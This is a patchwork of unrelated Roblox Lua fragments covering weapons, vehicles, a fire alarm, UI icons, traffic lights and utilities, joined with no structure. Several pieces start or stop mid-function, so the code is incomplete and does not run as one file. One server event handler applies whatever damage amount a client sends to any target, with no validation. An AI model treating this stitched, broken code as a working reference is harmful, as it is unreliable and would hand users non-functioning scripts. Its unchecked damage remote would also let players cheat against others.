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--Made by Stickmasterluke
sp=script.Parent function waitfor(a,b) while a:FindFirstChild(b)==nil do a.ChildAdded:wait() end return a:FindFirstChild(b) end reloading=waitfor(sp,"Reloading") down=waitfor(sp,"MouseDown") runanim=waitfor(sp,"RunAnim") animspeed=1.2 --lower number is slower equipspeed=1.5 originalgrip=CFrame.new(0,0,-1.1,0,0,1,1,0,0,0,1,0) currentgrip=originalgrip function swordUp() currentgrip=originalgrip sp.Grip=currentgrip end function swordOut() currentgrip=originalgrip*CFrame.Angles(math.pi/4,.4,0) sp.Grip=currentgrip end function spinsword(spintime) delay(0,function() local startspin=tick() local endspin=startspin+spintime while tick()<endspin do sp.Grip=currentgrip*CFrame.Angles(math.pi*2*((tick()-startspin)/spintime),0,0) wait() end sp.Grip=currentgrip end) end function update(mouse) if mouse~=nil then if reloading.Value then mouse.Icon="rbxasset://textures\\GunWaitCursor.png" else mouse.Icon="rbxasset://textures\\GunCursor.png" end end end runanim.Changed:connect(function() local h=sp.Parent:FindFirstChild("Humanoid") local t=sp.Parent:FindFirstChild("Torso") local anim=sp:FindFirstChild(runanim.Value) if anim and t and h then local theanim=h:LoadAnimation(anim) if theanim and h.Health>0 then theanim:Play(nil,nil,animspeed) end end end) function Equipped(mouse) if mouse~=nil then update(mouse) reloading.Changed:connect(function() update(mouse) end) mouse.Button1Down:connect(function() down.Value=true end) mouse.Button1Up:connect(function() down.Value=false end) local h=sp.Parent:FindFirstChild("Humanoid") local t=sp.Parent:FindFirstChild("Torso") if t and h then local equipanim=sp:FindFirstChild("Equip") if equipanim~=nil then local EquipAnim=h:LoadAnimation(equipanim) if EquipAnim and h.Health>0 then EquipAnim:Play(nil,nil,equipspeed) end end local holdanim=sp:FindFirstChild("Hold") if holdanim~=nil then if HoldAnim then HoldAnim:Stop() end HoldAnim=h:LoadAnimation(holdanim) if HoldAnim and h.Health>0 then HoldAnim:Play() end end end end end function Unequipped() down.Value=false if HoldAnim then HoldAnim:Stop() end end sp.Equipped:connect(Equipped) sp.Unequipped:connect(Unequipped)
-- Creates "bullet". No projectile motion is actually used. Pistol raytraces to target and creates -- a tracer trail to the target. Fading trail gives illusion of motion.
local function createBullet(target) -- Crate bullet that uses a trail effect for the trail local bullet = tool.Bullet:Clone() table.insert(ignoreTable, bullet) bullet.Parent = workspace bullet.CFrame = CFrame.new(muzzle.CFrame.p, target) bullet.Trail.Enabled = true wait() -- so trail has time to load bullet.Transparency = 0 local missionAccomplished = false for i = 1, numSegments do if not missionAccomplished then local equation = bullet.CFrame * CFrame.new(0, 0, -segmentLength) * CFrame.Angles(dropAngle, 0, 0) local ray = Ray.new(bullet.Position, (equation.p - bullet.Position).unit * segmentLength) local part, pos, normal, material = workspace:FindPartOnRayWithIgnoreList(ray, ignoreTable) if part and part.Parent:FindFirstChild("Humanoid") then missionAccomplished = true bullet.HitSound:Play() hitEvent:FireClient(game.Players:GetPlayerFromCharacter(tool.Parent)) local hum = part.Parent.Humanoid if part.Name == "Head" and configs.headshotInstaKill == true then local neck = part.Parent:FindFirstChild("Neck", true) neck:Destroy() elseif part.Name == "Head" then hum:TakeDamage(headDamage) elseif part.Name == "Torso" or part.Name == "UpperTorso" or part.Name == "LowerTorso" then -- Names to account for R6 and R15 hum:TakeDamage(torsoDamage) else hum:TakeDamage(otherDamage) end bullet.CFrame = CFrame.new(pos, equation.p) local weld = Instance.new("Weld", bullet) weld.C0 = bullet.CFrame:inverse() * part.CFrame weld.Part0 = bullet weld.Part1 = part bullet.Anchored = false --bullet.Trail.Enabled = false bullet.Transparency = 1 if configs.blood == true then bullet.EffectAttachment.BloodEmitter:Emit(20) end wait(1) for ii, v in pairs(ignoreTable) do if v == bullet then table.remove(ignoreTable, ii) end end bullet:Destroy() elseif part then missionAccomplished = true bullet.CFrame = CFrame.new(pos, equation.p) --bullet.Trail.Enabled = false bullet.Transparency = 1 bullet.ThudSound:Play() if hitParticles and part.Transparency and part.Transparency < 1 then --<<<<<<<<<< CHANGES HERE <<<<<<<<<<<<<<<<<< if part.ClassName ~= "Terrain" then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(part.Color) elseif material == Enum.Material.Grass or material == Enum.Material.LeafyGrass or material == Enum.Material.Ground or material == Enum.Material.Mud or material == Enum.Material.Cobblestone then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(61/255, 51/255, 44/255)) elseif material == Enum.Material.Asphalt or material == Enum.Material.Concrete or material == Enum.Material.Pavement or material == Enum.Material.Slate then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(100/255, 99/255, 93/255)) elseif material == Enum.Material.Limestone or material == Enum.Material.Sand or material == Enum.Material.WoodPlanks then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(172/255, 153/255, 116/255)) elseif material == Enum.Material.Brick or material == Enum.Material.Sandstone then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(165/255, 114/255, 95/255)) elseif material == Enum.Material.Rock then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(93/255, 96/255, 103/255)) elseif material == Enum.Material.Basalt or material == Enum.Material.CrackedLava then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(22/255, 11/255, 10/255)) elseif material == Enum.Material.Salt or material == Enum.Material.Snow then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(190/255, 180/255, 190/255)) elseif material == Enum.Material.Glacier or material == Enum.Material.Ice then bullet.EffectAttachment.DebrisEmitter.Color = ColorSequence.new(Color3.new(162/255, 194/255, 217/255)) end bullet.EffectAttachment.DebrisEmitter:Emit(10) end wait(1) for ii, v in pairs(ignoreTable) do if v == bullet then table.remove(ignoreTable, ii) end end bullet:Destroy() else bullet.CFrame = equation end wait(waitBetweenSegments) end end return end
---------------------------------------------------------------| ------// SETTINGS //-------------------------------------------| ---------------------------------------------------------------|
local FireRate = 25 local LimbsDamage = {75,90} local TorsoDamage = {125,150} local HeadDamage = {350,400} local FallOfDamage = .65 local BulletPenetration = 75 local RegularWalkspeed = 12 local SearchingWalkspeed = 6 local ShootingWalkspeed = 0 local Spread = 1 local MinDistance = 500 local MaxInc = 16 local Mode = 2 local Tracer = true local TracerColor = Color3.fromRGB(255,255,255) local BulletFlare = true local BulletFlareColor = Color3.fromRGB(255,255,255)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = 0.5 Tune.RCamber = 0.5 Tune.FToe = 0 Tune.RToe = 0
-- End of Configuration
system = script.Parent damaged = {1} dp = {} fs = false function AlarmCondition(device) while system.Reset.Value == true do wait() end if device.Alarm.Value == false then return end -- Check if point is disabled or already in alarm if system.ActiveAlarms:findFirstChild(device.Name)~=nil then return end local dis = system.DisabledPoints:GetChildren() for i = 1, #dis do if dis[i].Name == device.Name then return end end -- Insert into the alarm database local file = Instance.new("Model") local filex = Instance.new("StringValue") filex.Name = "DeviceName" filex.Value = device.DeviceName.Value filex.Parent = file file.Name = device.Name file.Parent = system.ActiveAlarms system.Silence.Value = false system.Coder.VisualRelay.Disabled = false if TwoStage and not fs then fs = true system.Coder.PreAlarm.Disabled = false local ftime = 0 while not system.Reset.Value and not system.Silence.Value and fs and ftime < FirstStageTime do ftime = ftime + 0.1 wait(0.1) end if not system.Reset.Value and not system.Silence.Value and ftime >= FirstStageTime then system.Coder.AudibleCircuit.Value = 0 system.Coder.PreAlarm.Disabled = true system.Coder.AudibleRelay.Disabled = false end else system.Coder.PreAlarm.Disabled = true system.Coder.AudibleRelay.Disabled = false end end function TroubleCondition(device) while system.Reset.Value == true do wait() end for i = 1, #damaged do if damaged[i]==device then return end end table.insert(damaged, device) local file = Instance.new("Model") local filex = Instance.new("StringValue") local filey = filex:clone() filex.Name = "ID" filex.Value = device.Name filex.Parent = file filey.Name = "Condition" filey.Value = "Damaged" filey.Parent = file file.Name = device.DeviceName.Value file.Parent = system.Troubles end function ResetSystem() if system.Reset.Value == false and system.ResetCommand.Value == true then system.ResetCommand.Value = false system.Reset.Value = true system.Silence.Value = false system.Coder.AudibleRelay.Disabled = true system.Coder.PreAlarm.Disabled = true system.Coder.AudibleCircuit.Value = 0 system.Coder.VisualRelay.Disabled = true system.Coder.VisualCircuit.Value = 0 local af = system.ActiveAlarms:GetChildren() for i = 1, #af do af[i]:Remove() end local tf = system.Troubles:GetChildren() for i = 1, #tf do if tf[i]:findFirstChild("Ack")==nil then local v = Instance.new("Model") v.Name = "Ack" v.Parent = tf[i] end end wait(5) fs = false tf = system.Troubles:GetChildren() for i = 1, #tf do if tf[i]:findFirstChild("Ack")~=nil then tf[i].Ack:Remove() end end system.Reset.Value = false local idc = system.InitiatingDevices:GetChildren() for i = 1, #idc do if idc[i].Alarm.Value == true then AlarmCondition(idc[i]) end end else system.ResetCommand.Value = false end end system.ResetCommand.Changed:connect(ResetSystem) function SilenceSignals() if system.SilenceCommand.Value == true and (system.Coder.AudibleRelay.Disabled == false or system.Coder.PreAlarm.Disabled == false) then system.SilenceCommand.Value = false system.Silence.Value = true system.Coder.AudibleRelay.Disabled = true system.Coder.PreAlarm.Disabled = true system.Coder.AudibleCircuit.Value = 0 if VisualUntilReset then return end system.Coder.VisualRelay.Disabled = true system.Coder.VisualCircuit.Value = 0 else system.SilenceCommand.Value = false end end system.SilenceCommand.Changed:connect(SilenceSignals) function Drill() if system.DrillCommand.Value == true and #system.ActiveAlarms:GetChildren()==0 then system.DrillCommand.Value = false local file = Instance.new("Model") local filex = Instance.new("StringValue") filex.Name = "DeviceName" filex.Value = "Manual Evac" filex.Parent = file file.Name = "01" file.Parent = system.ActiveAlarms system.Silence.Value = false system.Coder.PreAlarm.Disabled = true system.Coder.AudibleRelay.Disabled = false system.Coder.VisualRelay.Disabled = false fs = true else system.DrillCommand.Value = false end end system.DrillCommand.Changed:connect(Drill) system.DisabledPoints.ChildAdded:connect(function(child) local file = Instance.new("Model") local filex = Instance.new("StringValue") local filey = filex:clone() filex.Name = "ID" filex.Value = child.Name filex.Parent = file filey.Name = "Condition" filey.Value = "Disabled" filey.Parent = file file.Name = system.InitiatingDevices:findFirstChild(child.Name).DeviceName.Value file.Parent = system.Troubles end) system.DisabledPoints.ChildRemoved:connect(function(child) if system.InitiatingDevices:findFirstChild(child.Name).Alarm.Value == true then AlarmCondition(system.InitiatingDevices:findFirstChild(child.Name)) end local tfile = system.Troubles:GetChildren() for i = 1, #tfile do if tfile[i].ID.Value == child.Name and tfile[i].Condition.Value == "Disabled" then tfile[i]:Remove() end end end) local c = system.InitiatingDevices:GetChildren() for i = 1, #c do c[i].Alarm.Changed:connect(function() if c[i].Alarm.Value == true then AlarmCondition(c[i]) end end) c[i].DescendantRemoving:connect(function() TroubleCondition(c[i]) end) c[i].ChildRemoved:connect(function() TroubleCondition(c[i]) end) end
--EEwwwwww gross
print("You're A Noob") seat = script.Parent s = script
--This is a demo script I made to test the functions of the UI. anything that isnt inside a ----------------------This is just an example----------------------------- is what makes this UI function. You can delete it if you know exactly what to do.
-- warn(tmp)
wait(0.1) -- доём время освободить ресурс -- не понадобилось
-- Text --
script.Parent.MouseEnter:Connect(function() local Color = Color3.fromRGB(38, 38, 38) TweenService:Create(script.Parent.Parent.Text, Info, {TextColor3 = Color}):Play() end) script.Parent.MouseLeave:Connect(function() local ColorColor = Color3.fromRGB(255, 255, 255) TweenService:Create(script.Parent.Parent.Text, Info, {TextColor3 = ColorColor}):Play() end)
--// Events
L_29_.OnServerEvent:connect(function(L_62_arg1) L_25_.Fire:Play() end) L_30_.OnServerEvent:connect(function(L_63_arg1, L_64_arg2, L_65_arg3) L_64_arg2:TakeDamage(L_65_arg3) end) L_31_.OnServerEvent:connect(function(L_66_arg1, L_67_arg2) local L_68_ = Instance.new("ObjectValue") L_68_.Name = "creator" L_68_.Value = L_66_arg1 game.Debris:AddItem(L_68_, 3) L_68_.Parent = L_67_arg2 end) L_32_.OnServerEvent:connect(function(L_69_arg1, L_70_arg2) local L_71_ = L_69_arg1.Character local L_72_ = L_71_:FindFirstChild('Torso') local L_73_ = L_71_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint') local L_74_ = L_72_:FindFirstChild('Right Hip') local L_75_ = L_72_:FindFirstChild('Left Hip') local L_76_ = L_72_:FindFirstChild('Clone') if L_70_arg2 == "Prone" and L_71_ and L_76_ then L_73_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195) L_74_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) L_75_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) L_76_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0) elseif L_70_arg2 == "Crouch" and L_71_ and L_76_ then L_73_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015) L_74_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0) L_75_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0) L_76_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) elseif L_70_arg2 == "Stand" and L_71_ and L_76_ then L_73_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) L_74_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) L_75_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) L_76_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) end end) L_33_.OnServerEvent:connect(function(L_77_arg1, L_78_arg2, L_79_arg3, L_80_arg4, L_81_arg5, L_82_arg6) local L_83_ = Instance.new("Part", workspace) L_83_.FormFactor = "Custom" L_83_.TopSurface = 0 L_83_.BottomSurface = 0 L_83_.Transparency = 1 L_83_.Anchored = true L_83_.CanCollide = false L_83_.Size = Vector3.new(0.5, 0, 0.5) L_83_.CFrame = CFrame.new(L_78_arg2) * CFrame.fromAxisAngle(L_79_arg3.magnitude == 0 and Vector3.new(1) or L_79_arg3.unit, L_80_arg4) L_83_.BrickColor = BrickColor.new("Really black") L_83_.Material = "SmoothPlastic" local L_84_ = Instance.new("Decal", L_83_) L_84_.Texture = "rbxassetid://64291977" L_84_.Face = "Top" game.Debris:AddItem(L_84_, 3) local L_85_ = Instance.new("PointLight", L_83_) L_85_.Color = Color3.new(0, 0, 0) L_85_.Range = 0 L_85_.Shadows = true local L_86_ = Instance.new("Sound") L_86_.Name = "Crack" L_86_.SoundId = "rbxassetid://" .. L_34_[math.random(1, 13)] L_86_.Volume = math.random(0.8, 1) L_86_.EmitterSize = 10 L_86_.MaxDistance = 30 L_86_.Pitch = math.random(0, 0.6) L_86_.Parent = L_83_ L_86_:play() game.Debris:AddItem(L_86_, 1) game.Debris:AddItem(L_83_, 3) local L_87_ local L_88_ if L_82_arg6 == "Part" then L_87_ = L_26_:WaitForChild("Spark"):clone() L_87_.Parent = L_83_ L_87_.EmissionDirection = "Top" L_88_ = L_26_:WaitForChild("Smoke"):clone() L_88_.Parent = L_83_ L_88_.EmissionDirection = "Top" L_87_.Enabled = true L_88_.Enabled = true game.Debris:AddItem(L_87_, 1) game.Debris:AddItem(L_88_, 1) delay(0.1, function() L_87_.Enabled = false L_88_.Enabled = false end) elseif L_82_arg6 == "Human" then L_87_ = L_26_:WaitForChild("Blood"):clone() L_87_.Parent = L_83_ L_87_.EmissionDirection = "Top" L_87_.Enabled = true game.Debris:AddItem(L_87_, 1) delay(0.1, function() L_87_.Enabled = false end) end end)
-- CORE UTILITY METHODS
function Icon:set(settingName, value, iconState, setAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) if type(iconState) == "string" then iconState = iconState:lower() end local previousValue = self:get(settingName, iconState) if iconState == "hovering" then -- Apply hovering state if valid settingDetail.hoveringValue = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..iconState] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue end self:_update(settingName) else -- Update the settings value local toggleState = iconState local settingType = settingDetail.type if settingType == "toggleable" then local valuesToSet = {} if toggleState == "deselected" or toggleState == "selected" then table.insert(valuesToSet, toggleState) else table.insert(valuesToSet, "deselected") table.insert(valuesToSet, "selected") toggleState = nil end for i, v in pairs(valuesToSet) do settingDetail.values[v] = value if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous_"..v] = previousValue end if type(setAdditional) == "string" then settingDetail.additionalValues[setAdditional.."_"..v] = previousValue end end else settingDetail.value = value if type(setAdditional) == "string" then if setAdditional ~= "_ignorePrevious" then settingDetail.additionalValues["previous"] = previousValue end settingDetail.additionalValues[setAdditional] = previousValue end end -- Check previous and new are not the same if previousValue == value then return self, "Value was already set" end -- Update appearances of associated instances local currentToggleState = self:getToggleState() if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1) local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0) self:_update(settingName, currentToggleState, tweenInfo) end end -- Call any methods present if settingDetail.callMethods then for _, callMethod in pairs(settingDetail.callMethods) do callMethod(self, value, iconState) end end -- Call any signals present if settingDetail.callSignals then for _, callSignal in pairs(settingDetail.callSignals) do callSignal:Fire() end end return self end function Icon:get(settingName, iconState, getAdditional) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) local valueToReturn, additionalValueToReturn if typeof(iconState) == "string" then iconState = iconState:lower() end --if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then if (iconState == "hovering") and getAdditional == nil then valueToReturn = settingDetail.hoveringValue additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState] end local settingType = settingDetail.type if settingType == "toggleable" then local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState() if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState] end if valueToReturn == nil then valueToReturn = settingDetail.values[toggleState] end else if additionalValueToReturn == nil then additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional] end if valueToReturn == nil then valueToReturn = settingDetail.value end end return valueToReturn, additionalValueToReturn end function Icon:getHovering(settingName) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) return settingDetail.hoveringValue end function Icon:getToggleState(isSelected) isSelected = isSelected or self.isSelected return (isSelected and "selected") or "deselected" end function Icon:getIconState() if self.hovering then return "hovering" else return self:getToggleState() end end function Icon:_update(settingName, toggleState, customTweenInfo) local settingDetail = self._settingsDictionary[settingName] assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName)) toggleState = toggleState or self:getToggleState() local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState]) if self.hovering and settingDetail.hoveringValue then value = settingDetail.hoveringValue end if value == nil then return end local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15) local propertyName = settingDetail.propertyName local invalidPropertiesTypes = { ["string"] = true, ["NumberSequence"] = true, ["Text"] = true, ["EnumItem"] = true, ["ColorSequence"] = true, } local uniqueSetting = self._uniqueSettingsDictionary[settingName] local newValue = value if settingDetail.useForcedGroupValue then newValue = settingDetail.forcedGroupValue end if settingDetail.instanceNames then for _, instanceName in pairs(settingDetail.instanceNames) do local instance = self.instances[instanceName] local propertyType = typeof(instance[propertyName]) local cannotTweenProperty = invalidPropertiesTypes[propertyType] if uniqueSetting then uniqueSetting(settingName, instance, propertyName, newValue) elseif cannotTweenProperty then instance[propertyName] = value else tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play() end -- if settingName == "iconSize" and instance[propertyName] ~= newValue then self.updated:Fire() end -- end end end function Icon:_updateAll(iconState, customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames then self:_update(settingName, iconState, customTweenInfo) end end end function Icon:_updateHovering(customTweenInfo) for settingName, settingDetail in pairs(self._settingsDictionary) do if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then self:_update(settingName, nil, customTweenInfo) end end end function Icon:_updateStateOverlay(transparency, color) local stateOverlay = self.instances.iconOverlay stateOverlay.BackgroundTransparency = transparency or 1 stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1) end function Icon:setTheme(theme, updateAfterSettingAll) self._updateAfterSettingAll = updateAfterSettingAll for settingsType, settingsDetails in pairs(theme) do if settingsType == "toggleable" then for settingName, settingValue in pairs(settingsDetails.deselected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "both") end end for settingName, settingValue in pairs(settingsDetails.selected) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue, "selected") end end else for settingName, settingValue in pairs(settingsDetails) do if not self.lockedSettings[settingName] then self:set(settingName, settingValue) end end end end self._updateAfterSettingAll = nil if updateAfterSettingAll then self:_updateAll() end return self end function Icon:setEnabled(bool) self.enabled = bool self.instances.iconContainer.Visible = bool self.updated:Fire() return self end function Icon:setName(string) self.name = string self.instances.iconContainer.Name = string return self end function Icon:setProperty(propertyName, value) self[propertyName] = value return self end function Icon:_playClickSound() local clickSound = self.instances.clickSound if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then local clickSoundCopy = clickSound:Clone() clickSoundCopy.Parent = clickSound.Parent clickSoundCopy:Play() debris:AddItem(clickSoundCopy, clickSound.TimeLength) end end function Icon:select(byIcon) if self.locked then return self end self.isSelected = true self:_setToggleItemsVisible(true, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.selected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:deselect(byIcon) if self.locked then return self end self.isSelected = false self:_setToggleItemsVisible(false, byIcon) self:_updateNotice() self:_updateAll() self:_playClickSound() if #self.dropdownIcons > 0 or #self.menuIcons > 0 then IconController:_updateSelectionGroup() end self.deselected:Fire() self.toggled:Fire(self.isSelected) return self end function Icon:notify(clearNoticeEvent, noticeId) coroutine.wrap(function() if not clearNoticeEvent then clearNoticeEvent = self.deselected end if self._parentIcon then self._parentIcon:notify(clearNoticeEvent) end local notifComplete = Signal.new() local endEvent = self._endNotices:Connect(function() notifComplete:Fire() end) local customEvent = clearNoticeEvent:Connect(function() notifComplete:Fire() end) noticeId = noticeId or httpService:GenerateGUID(true) self.notices[noticeId] = { completeSignal = notifComplete, clearNoticeEvent = clearNoticeEvent, } self.totalNotices += 1 self:_updateNotice() self.notified:Fire(noticeId) notifComplete:Wait() endEvent:Disconnect() customEvent:Disconnect() notifComplete:Disconnect() self.totalNotices -= 1 self.notices[noticeId] = nil self:_updateNotice() end)() return self end function Icon:_updateNotice() local enabled = true if self.totalNotices < 1 then enabled = false end -- Deselect if not self.isSelected then if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then enabled = true end end -- Select if self.isSelected then if #self.dropdownIcons > 0 or #self.menuIcons > 0 then enabled = false end end local value = (enabled and 0) or 1 self:set("noticeImageTransparency", value) self:set("noticeTextTransparency", value) self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+" end function Icon:clearNotices() self._endNotices:Fire() return self end function Icon:disableStateOverlay(bool) if bool == nil then bool = true end local stateOverlay = self.instances.iconOverlay stateOverlay.Visible = not bool return self end
--[[** ensures value is a number where value < max @param max The maximum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberMaxExclusive(max) return function(value) local success, errMsg = t.number(value) if not success then return false, errMsg or "" end if value < max then return true else return false, string.format("number < %d expected, got %d", max, value) end end end
--------------------------------------------------------
local RegenTime = 1 --Change this to how long it takes the plane to regen local WaitTime = 2 --Change this to how much time you have to wait before you can regen another plane
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 600 -- Front brake force Tune.RBrakeForce = 700 -- Rear brake force Tune.PBrakeForce = 4000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--else script.Toggle.Value = false
end if speed > 0 then if script.Parent.Parent.Storage.Brake.Value ~= 0 or script.Toggle.Value == true then if FR.RotVelocity.Magnitude + power > average then script.Read.Value = true FRBRAKE.CanCollide = true FRBRAKEU.CanCollide = true --print("FR") elseif FR.RotVelocity.Magnitude + power < average then FRBRAKE.CanCollide = false script.Read.Value = false FRBRAKEU.CanCollide = false end elseif script.Parent.Parent.Storage.Brake.Value == 0 and script.Toggle.Value == false then script.Read.Value = false FRBRAKE.CanCollide = false FRBRAKEU.CanCollide = false end end else FRBRAKE.CanCollide = true FRBRAKEU.CanCollide = true end end
-----------------------------------
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then for i = 1,#grp1 do grp1[i].Lighto.Enabled = false end for i = 1,#grp1 do grp1[i].Transparency = 1 end for i = 1,#grp2 do grp2[i].Lighto.Enabled = false end for i = 1,#grp2 do grp2[i].Transparency = 1 end for i = 1,#grp3 do grp3[i].Lighto.Enabled = true end for i = 1,#grp3 do grp3[i].Transparency = 0 end for i = 1,#grp4 do grp4[i].Transparency = 1 end for i = 1,#grp4 do grp4[i].Lighto.Enabled = false end
--[=[ @class LocalizationServiceUtils ]=]
local require = require(script.Parent.loader).load(script) local LocalizationService = game:GetService("LocalizationService") local RunService = game:GetService("RunService") local Promise = require("Promise") local ERROR_PUBLISH_REQUIRED = "Publishing the game is required to use GetTranslatorForPlayerAsync API." local LocalizationServiceUtils = {} function LocalizationServiceUtils.promiseTranslator(player) local asyncTranslatorPromise = Promise.spawn(function(resolve, reject) local translator = nil local ok, err = pcall(function() translator = LocalizationService:GetTranslatorForPlayerAsync(player) end) if not ok then reject(err or "Failed to GetTranslatorForPlayerAsync") return end if translator then assert(typeof(translator) == "Instance", "Bad translator") resolve(translator) return end reject("Translator was not returned") return end) -- Give longer in non-studio mode local timeout = 20 if RunService:IsStudio() then timeout = 0.5 end local rejectedCauseOfTimeout = false task.delay(timeout, function() if not asyncTranslatorPromise:IsPending() then return end rejectedCauseOfTimeout = true asyncTranslatorPromise:Reject( ("GetTranslatorForPlayerAsync is still pending after %f, using local table") :format(timeout)) end) return asyncTranslatorPromise:Catch(function(err) if err ~= ERROR_PUBLISH_REQUIRED and not rejectedCauseOfTimeout then warn(("[LocalizationServiceUtils.promiseTranslator] - %s"):format(tostring(err))) end -- Fallback to just local stuff local translator = LocalizationService:GetTranslatorForPlayer(player) return translator end) end return LocalizationServiceUtils
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") DisplayModel = Tool:FindFirstChild("DisplayModel") if DisplayModel then DisplayModel:Destroy() end
--[[ Make a tool that can manipulate the terrain. 1 Click adds/removes 0.2 stud from node height, 2 Clicks adds/removes 1 stud from node height. --]]
--[
seat.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then bool.Value = true if left then seat.Left.Disabled = true seat.Left.Disabled = false end if right then seat.Right.Disabled = true seat.Right.Disabled = false end if hazards then seat.Hazards.Disabled = true seat.Hazards.Disabled = false end end end end)
--[[ Returns all children instances of parent that pass specified property criteria. ]]
function DataModelUtils.getChildrenWithCriteria(parent, criteria) local results = {} for _, child in ipairs(parent:GetChildren()) do local isMatch = true for property, value in pairs(criteria) do local success, result = pcall( function() return child[property] == value end ) if not (success and result) then isMatch = false break end end if isMatch then table.insert(results, child) end end return results end return DataModelUtils
-- ================================================================================ -- Settings -- ================================================================================
local Settings = {} Settings.DefaultSpeed = 200 -- Speed when not boosted [Studs/second, Range 50-300] Settings.BoostSpeed = 300 -- Speed when boosted [Studs/second, Maximum: 400] Settings.BoostAmount = 10 -- Duration of boost in seconds Settings.Steering = 7 -- How quickly the speeder turns [Range: 1-10]
--use this to determine if you want this human to be harmed or not, returns boolean
